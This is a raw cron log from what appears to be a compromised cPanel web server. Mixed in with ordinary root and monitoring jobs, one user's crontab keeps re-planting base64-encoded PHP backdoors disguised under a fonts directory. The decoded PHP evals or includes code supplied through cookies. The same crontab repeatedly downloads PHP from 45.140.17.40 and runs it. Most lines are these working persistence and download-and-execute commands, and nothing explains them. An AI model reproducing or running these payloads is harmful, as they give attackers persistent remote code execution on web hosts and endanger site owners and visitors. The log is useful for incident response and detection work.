Sep  8 07:25:01 ip-184-168-122-23 CROND[3624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:26:01 ip-184-168-122-23 CROND[3820]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:26:01 ip-184-168-122-23 CROND[3824]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 07:26:01 ip-184-168-122-23 CROND[3822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:26:01 ip-184-168-122-23 CROND[3823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:26:01 ip-184-168-122-23 CROND[3825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:27:01 ip-184-168-122-23 CROND[4033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:27:01 ip-184-168-122-23 CROND[4034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:27:01 ip-184-168-122-23 CROND[4035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:27:01 ip-184-168-122-23 CROND[4036]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:28:01 ip-184-168-122-23 CROND[4205]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:28:01 ip-184-168-122-23 CROND[4207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:28:01 ip-184-168-122-23 CROND[4210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:28:01 ip-184-168-122-23 CROND[4208]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 07:28:01 ip-184-168-122-23 CROND[4209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:29:01 ip-184-168-122-23 CROND[4302]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:29:01 ip-184-168-122-23 CROND[4304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:29:01 ip-184-168-122-23 CROND[4306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:29:01 ip-184-168-122-23 CROND[4305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:30:01 ip-184-168-122-23 CROND[4437]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 07:30:01 ip-184-168-122-23 CROND[4439]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 07:30:01 ip-184-168-122-23 CROND[4442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:30:01 ip-184-168-122-23 CROND[4444]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 07:30:01 ip-184-168-122-23 CROND[4446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:30:01 ip-184-168-122-23 CROND[4450]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:30:01 ip-184-168-122-23 CROND[4451]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 07:30:01 ip-184-168-122-23 CROND[4449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:31:01 ip-184-168-122-23 CROND[4584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:31:01 ip-184-168-122-23 CROND[4585]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:31:01 ip-184-168-122-23 CROND[4588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:31:01 ip-184-168-122-23 CROND[4589]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 07:31:01 ip-184-168-122-23 CROND[4592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:32:01 ip-184-168-122-23 CROND[4686]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:32:01 ip-184-168-122-23 CROND[4687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:32:01 ip-184-168-122-23 CROND[4690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:32:01 ip-184-168-122-23 CROND[4689]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 07:32:01 ip-184-168-122-23 CROND[4688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:33:01 ip-184-168-122-23 CROND[4870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:33:01 ip-184-168-122-23 CROND[4871]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:33:01 ip-184-168-122-23 CROND[4874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:33:01 ip-184-168-122-23 CROND[4876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:34:01 ip-184-168-122-23 CROND[4992]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:34:01 ip-184-168-122-23 CROND[4995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:34:01 ip-184-168-122-23 CROND[4994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:34:01 ip-184-168-122-23 CROND[4996]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 07:34:01 ip-184-168-122-23 CROND[4997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:35:01 ip-184-168-122-23 CROND[5144]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 07:35:01 ip-184-168-122-23 CROND[5147]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 07:35:01 ip-184-168-122-23 CROND[5145]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:35:01 ip-184-168-122-23 CROND[5148]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 07:35:01 ip-184-168-122-23 CROND[5149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:35:01 ip-184-168-122-23 CROND[5150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:35:01 ip-184-168-122-23 CROND[5146]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 07:35:01 ip-184-168-122-23 CROND[5152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:36:01 ip-184-168-122-23 CROND[5259]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 07:36:01 ip-184-168-122-23 CROND[5261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:36:01 ip-184-168-122-23 CROND[5263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:36:01 ip-184-168-122-23 CROND[5264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:36:01 ip-184-168-122-23 CROND[5267]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:37:01 ip-184-168-122-23 CROND[5382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:37:01 ip-184-168-122-23 CROND[5384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:37:01 ip-184-168-122-23 CROND[5386]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:37:01 ip-184-168-122-23 CROND[5388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
